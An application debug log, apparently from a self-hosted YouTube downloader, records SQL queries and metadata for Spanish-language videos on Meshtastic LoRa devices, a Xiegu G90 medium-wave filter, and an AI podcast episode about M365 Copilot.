("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["En este video vamos a tomar contacto con un tema que aunque no es radioafición como tal, si que toca temas de radio y redes de comunicacion.\n\nSi quieres ampliar conocimientos de Meshtastic te recomiendo este canal de youtube:\nhttps://www.youtube.com/@RadioPrepper82\n\nEnlaces del material:\n\nPágina principal Meshtastic\nhttps://meshtastic.org/\n\nGrupo Telegram Catalunya\nhttps://t.me/MeshtasticGirona\n\nGrupo Telegram España\nhttps://t.me/meshtastic_esp\n\nCaja Heltec V3\nhttps://www.thingiverse.com/thing:6522462\n\nBMS 18650\nhttps://es.aliexpress.com/item/1005007375384541.html\n\nPigtail SMA a IPEX\nhttps://www.amazon.es/dp/B081CDBF5P\n\nCompra Lilygo T-deck:\nhttps://es.aliexpress.com/item/1005005692235592.html\n\nGPS para T-Deck:\nhttps://es.aliexpress.com/item/1005008476063712.html\n\nCaja thingiverse para T-deck:\nhttps://www.thingiverse.com/thing:6490626\n\nBateria 5000 mA para T-Deck:\nhttps://www.amazon.es/dp/B0BG82T39Y\n\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:59 - Intro Canal\n01:17 - Introducción a Meshtastic\n08:09 - Montando Heltec Lora32 V3\n17:31 - Montando T-Deck y añadiendo GPS\n28:16 - Demostración envío mensaje\n\n\n#meshtastic #lora #868Mhz #hamradio #mesh #redes #radioaficionados #diyelectronics #emergencias #preparacionismo #preppers\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "150 - INTRODUCCION MESHTASTIC LORA TDECK LORA32", "aeb59cd8-2027-41f2-99ca-f26509694200", 1899, false, "oDl8bv9s6FQ", "https://www.youtube.com/watch?v=oDl8bv9s6FQ", 31, "/downloads/music/ea3grn/150 - INTRODUCCION MESHTASTIC LORA TDECK LORA32.m4a", false, false, false, 3, [], 98, ~U[2025-03-13 18:00:29Z], ~U[2026-02-07 21:20:54Z], ~U[2026-02-07 21:20:54Z], "En este video vamos a tomar contacto con un tema que aunque no es radioafición como tal, si que toca temas de radio y redes de comunicacion.\n\nSi quieres ampliar conocimientos de Meshtastic te recomiendo este canal de youtube:\nhttps://www.youtube.com/@RadioPrepper82\n\nEnlaces del material:\n\nPágina principal Meshtastic\nhttps://meshtastic.org/\n\nGrupo Telegram Catalunya\nhttps://t.me/MeshtasticGirona\n\nGrupo Telegram España\nhttps://t.me/meshtastic_esp\n\nCaja Heltec V3\nhttps://www.thingiverse.com/thing:6522462\n\nBMS 18650\nhttps://es.aliexpress.com/item/1005007375384541.html\n\nPigtail SMA a IPEX\nhttps://www.amazon.es/dp/B081CDBF5P\n\nCompra Lilygo T-deck:\nhttps://es.aliexpress.com/item/1005005692235592.html\n\nGPS para T-Deck:\nhttps://es.aliexpress.com/item/1005008476063712.html\n\nCaja thingiverse para T-deck:\nhttps://www.thingiverse.com/thing:6490626\n\nBateria 5000 mA para T-Deck:\nhttps://www.amazon.es/dp/B0BG82T39Y\n\n\nContenido del video ------------------------------\n\n00:00 - Presentación\n00:59 - Intro Canal\n01:17 - Introducción a Meshtastic\n08:09 - Montando Heltec Lora32 V3\n17:31 - Montando T-Deck y añadiendo GPS\n28:16 - Demostración envío mensaje\n\n\n#meshtastic #lora #868Mhz #hamradio #mesh #redes #radioaficionados #diyelectronics #emergencias #preparacionismo #preppers\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "150 - INTRODUCCION MESHTASTIC LORA TDECK LORA32", 1899, false, "oDl8bv9s6FQ", "https://www.youtube.com/watch?v=oDl8bv9s6FQ", "/downloads/music/ea3grn/150 - INTRODUCCION MESHTASTIC LORA TDECK LORA32.m4a", false, 3, ~U[2025-03-13 18:00:29Z]] 22:20:54.395 [debug] QUERY OK source="sources" db=0.5ms idle=582.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:20:54.395 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:54.396 [debug] QUERY OK source="media_items" db=0.4ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1351] 22:20:54.396 [debug] Current batch of media processed. Will check again in 1000ms 22:20:55.342 [debug] Current batch of media processed. Will check again in 1000ms 22:20:55.397 [debug] Current batch of media processed. Will check again in 1000ms 22:20:56.343 [debug] Current batch of media processed. Will check again in 1000ms 22:20:56.398 [debug] Current batch of media processed. Will check again in 1000ms 22:20:57.344 [debug] Current batch of media processed. Will check again in 1000ms 22:20:57.399 [debug] Current batch of media processed. Will check again in 1000ms 22:20:58.345 [debug] Current batch of media processed. Will check again in 1000ms 22:20:58.400 [debug] Current batch of media processed. Will check again in 1000ms 22:20:59.346 [debug] Current batch of media processed. Will check again in 1000ms 22:20:59.401 [debug] Current batch of media processed. Will check again in 1000ms 22:21:00.096 [info] {"source":"oban","duration":229,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:21:00.347 [debug] Current batch of media processed. Will check again in 1000ms 22:21:00.402 [debug] Current batch of media processed. Will check again in 1000ms 22:21:01.348 [debug] Current batch of media processed. Will check again in 1000ms 22:21:01.403 [debug] Current batch of media processed. Will check again in 1000ms 22:21:02.349 [debug] Current batch of media processed. Will check again in 1000ms 22:21:02.404 [debug] Current batch of media processed. Will check again in 1000ms 22:21:03.350 [debug] Current batch of media processed. Will check again in 1000ms 22:21:03.405 [debug] Current batch of media processed. Will check again in 1000ms 22:21:04.351 [debug] Current batch of media processed. Will check again in 1000ms 22:21:04.406 [debug] Current batch of media processed. Will check again in 1000ms 22:21:05.352 [debug] Current batch of media processed. Will check again in 1000ms 22:21:05.407 [debug] Current batch of media processed. Will check again in 1000ms 22:21:06.353 [debug] Current batch of media processed. Will check again in 1000ms 22:21:06.408 [debug] Current batch of media processed. Will check again in 1000ms 22:21:07.354 [debug] Current batch of media processed. Will check again in 1000ms 22:21:07.409 [debug] Current batch of media processed. Will check again in 1000ms 22:21:08.355 [debug] Current batch of media processed. Will check again in 1000ms 22:21:08.410 [debug] Current batch of media processed. Will check again in 1000ms 22:21:09.356 [debug] Current batch of media processed. Will check again in 1000ms 22:21:09.411 [debug] Current batch of media processed. Will check again in 1000ms 22:21:10.357 [debug] Current batch of media processed. Will check again in 1000ms 22:21:10.412 [debug] Current batch of media processed. Will check again in 1000ms 22:21:11.358 [debug] Current batch of media processed. Will check again in 1000ms 22:21:11.413 [debug] Current batch of media processed. Will check again in 1000ms 22:21:12.359 [debug] Current batch of media processed. Will check again in 1000ms 22:21:12.414 [debug] Current batch of media processed. Will check again in 1000ms 22:21:13.360 [debug] Current batch of media processed. Will check again in 1000ms 22:21:13.415 [debug] Current batch of media processed. Will check again in 1000ms 22:21:14.361 [debug] Current batch of media processed. Will check again in 1000ms 22:21:14.416 [debug] Current batch of media processed. Will check again in 1000ms 22:21:15.362 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep.2️⃣0️⃣ : M365 Copilot 🛩️👨🏼\u200D✈️\n\nEn todas las empresas cuando vamos a ayudarles para mejorar sus procesos con IA, siempre nos hacen la misma pregunta.... que IA debemos utilizar? Que IA es la mas potente? Es seguro? Es privado? ..... y todas quieren que les contestemos lo mismo... M365 Copilot.... y nosotros contestamos.....\n\n..... Y aquí perdón por mis amigos gallegos... contestamos a la gallega.... Ni si, ni no, sino todo lo contrario.... esa puede ser la opinión sobre M365 Copilot que os vamos a dar David García Martínez y yo. \n\nÓsea un \"Depende pa'Que\" .....\n\nSi quieres saber que hace M365 Copilot, cuan bien lo hace, y que no hace..... Te lo argumentamos en el video.... 😉 y por supuesto que usamos nosotros...\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#M365Copilot\n\nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "duration" => 870, "filename" => "/downloads/music/IA mí QUÉ/EP.20 - COPILOT 365.m4a", "id" => "-1LLfL1rBnk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=-1LLfL1rBnk", "playlist_index" => 30, "timestamp" => 1753438622, "title" => "EP.20 - COPILOT 365", "upload_date" => "20250725"} 22:21:15.363 [debug] QUERY OK source="sources" db=0.6ms idle=1604.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:21:15.364 [debug] QUERY OK source="sources" db=0.4ms idle=1605.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:21:15.365 [debug] QUERY OK source="media_items" db=0.9ms idle=1605.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-25 10:17:02Z], 2] 22:21:15.367 [debug] QUERY OK source="media_items" db=1.1ms idle=1509.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep.2️⃣0️⃣ : M365 Copilot 🛩️👨🏼\u200D✈️\n\nEn todas las empresas cuando vamos a ayudarles para mejorar sus procesos con IA, siempre nos hacen la misma pregunta.... que IA debemos utilizar? Que IA es la mas potente? Es seguro? Es privado? ..... y todas quieren que les contestemos lo mismo... M365 Copilot.... y nosotros contestamos.....\n\n..... Y aquí perdón por mis amigos gallegos... contestamos a la gallega.... Ni si, ni no, sino todo lo contrario.... esa puede ser la opinión sobre M365 Copilot que os vamos a dar David García Martínez y yo. \n\nÓsea un \"Depende pa'Que\" .....\n\nSi quieres saber que hace M365 Copilot, cuan bien lo hace, y que no hace..... Te lo argumentamos en el video.... 😉 y por supuesto que usamos nosotros...\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#M365Copilot\n\nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "EP.20 - COPILOT 365", "ed9bfa25-9a28-4712-895e-015c78ae7ccb", 870, false, "-1LLfL1rBnk", "https://www.youtube.com/watch?v=-1LLfL1rBnk", 30, "/downloads/music/IA mí QUÉ/EP.20 - COPILOT 365.m4a", false, false, false, 2, [], 96, ~U[2025-07-25 10:17:02Z], ~U[2026-02-07 21:21:15Z], ~U[2026-02-07 21:21:15Z], "#IAMIQUE 👉🏼 Ep.2️⃣0️⃣ : M365 Copilot 🛩️👨🏼\u200D✈️\n\nEn todas las empresas cuando vamos a ayudarles para mejorar sus procesos con IA, siempre nos hacen la misma pregunta.... que IA debemos utilizar? Que IA es la mas potente? Es seguro? Es privado? ..... y todas quieren que les contestemos lo mismo... M365 Copilot.... y nosotros contestamos.....\n\n..... Y aquí perdón por mis amigos gallegos... contestamos a la gallega.... Ni si, ni no, sino todo lo contrario.... esa puede ser la opinión sobre M365 Copilot que os vamos a dar David García Martínez y yo. \n\nÓsea un \"Depende pa'Que\" .....\n\nSi quieres saber que hace M365 Copilot, cuan bien lo hace, y que no hace..... Te lo argumentamos en el video.... 😉 y por supuesto que usamos nosotros...\n\ny por fa 🙏 :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#ChatGPT hashtag#IAGen hashtag#GenAI hashtag#M365Copilot\n\nORIGEN CORPORACIÓN BIOTECH lifely by Origen Genetics", "EP.20 - COPILOT 365", 870, false, "-1LLfL1rBnk", "https://www.youtube.com/watch?v=-1LLfL1rBnk", "/downloads/music/IA mí QUÉ/EP.20 - COPILOT 365.m4a", false, 2, ~U[2025-07-25 10:17:02Z]] 22:21:15.367 [debug] QUERY OK source="sources" db=0.5ms idle=509.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:21:15.368 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:21:15.369 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1329] 22:21:15.369 [debug] Current batch of media processed. Will check again in 1000ms 22:21:15.417 [debug] Current batch of media processed. Will check again in 1000ms 22:21:16.370 [debug] Current batch of media processed. Will check again in 1000ms 22:21:16.418 [debug] Current batch of media processed. Will check again in 1000ms 22:21:17.371 [debug] Current batch of media processed. Will check again in 1000ms 22:21:17.419 [debug] Current batch of media processed. Will check again in 1000ms 22:21:18.372 [debug] Current batch of media processed. Will check again in 1000ms 22:21:18.420 [debug] Current batch of media processed. Will check again in 1000ms 22:21:19.373 [debug] Current batch of media processed. Will check again in 1000ms 22:21:19.421 [debug] Current batch of media processed. Will check again in 1000ms 22:21:20.374 [debug] Current batch of media processed. Will check again in 1000ms 22:21:20.422 [debug] Current batch of media processed. Will check again in 1000ms 22:21:21.173 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:21:21.375 [debug] Current batch of media processed. Will check again in 1000ms 22:21:21.423 [debug] Current batch of media processed. Will check again in 1000ms 22:21:22.376 [debug] Current batch of media processed. Will check again in 1000ms 22:21:22.424 [debug] Current batch of media processed. Will check again in 1000ms 22:21:23.377 [debug] Current batch of media processed. Will check again in 1000ms 22:21:23.425 [debug] Current batch of media processed. Will check again in 1000ms 22:21:24.378 [debug] Current batch of media processed. Will check again in 1000ms 22:21:24.426 [debug] Current batch of media processed. Will check again in 1000ms 22:21:25.379 [debug] Current batch of media processed. Will check again in 1000ms 22:21:25.427 [debug] Current batch of media processed. Will check again in 1000ms 22:21:26.380 [debug] Current batch of media processed. Will check again in 1000ms 22:21:26.428 [debug] Current batch of media processed. Will check again in 1000ms 22:21:27.381 [debug] Current batch of media processed. Will check again in 1000ms 22:21:27.429 [debug] Current batch of media processed. Will check again in 1000ms 22:21:28.382 [debug] Current batch of media processed. Will check again in 1000ms 22:21:28.430 [debug] Current batch of media processed. Will check again in 1000ms 22:21:29.383 [debug] Current batch of media processed. Will check again in 1000ms 22:21:29.431 [debug] Current batch of media processed. Will check again in 1000ms 22:21:30.384 [debug] Current batch of media processed. Will check again in 1000ms 22:21:30.432 [debug] Current batch of media processed. Will check again in 1000ms 22:21:31.385 [debug] Current batch of media processed. Will check again in 1000ms 22:21:31.433 [debug] Current batch of media processed. Will check again in 1000ms 22:21:32.386 [debug] Current batch of media processed. Will check again in 1000ms 22:21:32.434 [debug] Current batch of media processed. Will check again in 1000ms 22:21:33.387 [debug] Current batch of media processed. Will check again in 1000ms 22:21:33.435 [debug] Current batch of media processed. Will check again in 1000ms 22:21:34.388 [debug] Current batch of media processed. Will check again in 1000ms 22:21:34.436 [debug] Current batch of media processed. Will check again in 1000ms 22:21:35.389 [debug] Current batch of media processed. Will check again in 1000ms 22:21:35.437 [debug] Current batch of media processed. Will check again in 1000ms 22:21:36.390 [debug] Current batch of media processed. Will check again in 1000ms 22:21:36.438 [debug] Current batch of media processed. Will check again in 1000ms 22:21:37.391 [debug] Current batch of media processed. Will check again in 1000ms 22:21:37.439 [debug] Current batch of media processed. Will check again in 1000ms 22:21:38.392 [debug] Current batch of media processed. Will check again in 1000ms 22:21:38.440 [debug] Current batch of media processed. Will check again in 1000ms 22:21:39.393 [debug] Current batch of media processed. Will check again in 1000ms 22:21:39.441 [debug] Current batch of media processed. Will check again in 1000ms 22:21:40.394 [debug] Current batch of media processed. Will check again in 1000ms 22:21:40.442 [debug] Current batch of media processed. Will check again in 1000ms 22:21:41.395 [debug] Current batch of media processed. Will check again in 1000ms 22:21:41.443 [debug] Current batch of media processed. Will check again in 1000ms 22:21:42.396 [debug] Current batch of media processed. Will check again in 1000ms 22:21:42.444 [debug] Current batch of media processed. Will check again in 1000ms 22:21:43.397 [debug] Current batch of media processed. Will check again in 1000ms 22:21:43.445 [debug] Current batch of media processed. Will check again in 1000ms 22:21:44.398 [debug] Current batch of media processed. Will check again in 1000ms 22:21:44.446 [debug] Current batch of media processed. Will check again in 1000ms 22:21:45.399 [debug] Current batch of media processed. Will check again in 1000ms 22:21:45.447 [debug] Current batch of media processed. Will check again in 1000ms 22:21:46.400 [debug] Current batch of media processed. Will check again in 1000ms 22:21:46.448 [debug] Current batch of media processed. Will check again in 1000ms 22:21:47.401 [debug] Current batch of media processed. Will check again in 1000ms 22:21:47.449 [debug] Current batch of media processed. Will check again in 1000ms 22:21:48.402 [debug] Current batch of media processed. Will check again in 1000ms 22:21:48.450 [debug] Current batch of media processed. Will check again in 1000ms 22:21:49.403 [debug] Current batch of media processed. Will check again in 1000ms 22:21:49.451 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Como evitar que la sobrecarga de una emisora de onda media cercana te deje el Xiegu G90 completamente sordo en todas las bandas. Desarrollamos aqui una idea original de EA1HFS y G4ABX para calcular y montar un filtro pasaaltos que atenua las transmisiones de onda media.\n\nCalculador de filtros:\nhttps://markimicrowave.com/technical-resources/tools/lc-filter-design-tool/\n\nPagina web de EA1HFS:\nhttps://ea1hfs.blogspot.com/2023/12/xiegu-g90-filtro-pasa-altos-elimina-bci.html\n\nVideo de G4ABX:\nhttps://www.youtube.com/watch?v=4ES5iZ1SJvE\n\n\n\nContenido del video ------------------------------\n00:00 - Presentación\n01:35 - Intro canal\n01:52 - El problema\n03:56 - EA1HFX y G4ABX\n04:37 - Calculando filtro\n07:10 - Probando con el nanoVNA\n08:27 - La placa\n10:10 - Demostrando la efectividad\n14:16 - Instalando en la Xiegu G90\n18:08 - Probando \n19:54 - Conclusiones\n\n#xiegu #g90 #filtro #ondamedia #radioaficionados #hamradio #diyelectronics\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1303, "filename" => "/downloads/music/ea3grn/149 - FILTRO DE ONDA MEDIA PARA XIEGU G90 INTERFERENCIAS SOBRECARGA RECEPTOR.m4a", "id" => "tBWQJSiA5i4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=tBWQJSiA5i4", "playlist_index" => 32, "timestamp" => 1741215650, "title" => "149 - FILTRO DE ONDA MEDIA PARA XIEGU G90 INTERFERENCIAS SOBRECARGA RECEPTOR", "upload_date" => "20250305"} 22:21:49.452 [debug] QUERY OK source="sources" db=0.5ms idle=693.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:21:49.453 [debug] QUERY OK source="sources" db=0.4ms idle=694.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:21:49.454 [debug] QUERY OK source="media_items" db=0.6ms idle=694.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-05 23:00:50Z], 3] 22:21:49.456 [debug] QUERY OK source="media_items" db=1.2ms idle=695.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Como evitar que la sobrecarga de una emisora de onda media cercana te deje el Xiegu G90 completamente sordo en todas las bandas. Desarrollamos aqui una idea original de EA1HFS y G4ABX para calcular y montar un filtro pasaaltos que atenua las transmisiones de onda media.\n\nCalculador de filtros:\nhttps://markimicrowave.com/technical-resources/tools/lc-filter-design-tool/\n\nPagina web de EA1HFS:\nhttps://ea1hfs.blogspot.com/2023/12/xiegu-g90-filtro-pasa-altos-elimina-bci.html\n\nVideo de G4ABX:\nhttps://www.youtube.com/watch?v=4ES5iZ1SJvE\n\n\n\nContenido del video ------------------------------\n00:00 - Presentación\n01:35 - Intro canal\n01:52 - El problema\n03:56 - EA1HFX y G4ABX\n04:37 - Calculando filtro\n07:10 - Probando con el nanoVNA\n08:27 - La placa\n10:10 - Demostrando la efectividad\n14:16 - Instalando en la Xiegu G90\n18:08 - Probando \n19:54 - Conclusiones\n\n#xiegu #g90 #filtro #ondamedia #radioaficionados #hamradio #diyelectronics\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "149 - FILTRO DE ONDA MEDIA PARA XIEGU G90 INTERFERENCIAS SOBRECARGA RECEPTOR", "09c04cee-00cd-49ad-91db-bb5b6c2cb117", 1303, false, "tBWQJSiA5i4", "https://www.youtube.com/watch?v=tBWQJSiA5i4", 32, "/downloads/music/ea3grn/149 - FILTRO DE ONDA MEDIA PARA XIEGU G90 INTERFERENCIAS SOBRECARGA RECEPTOR.m4a", false, false, false, 3, [], 98, ~U[2025-03-05 23:00:50Z], ~U[2026-02-07 21:21:49Z], ~U[2026-02-07 21:21:49Z], "Como evitar que la sobrecarga de una emisora de onda media cercana te deje el Xiegu G90 completamente sordo en todas las bandas. Desarrollamos aqui una idea original de EA1HFS y G4ABX para calcular y montar un filtro pasaaltos que atenua las transmisiones de onda media.\n\nCalculador de filtros:\nhttps://markimicrowave.com/technical-resources/tools/lc-filter-design-tool/\n\nPagina web de EA1HFS:\nhttps://ea1hfs.blogspot.com/2023/12/xiegu-g90-filtro-pasa-altos-elimina-bci.html\n\nVideo de 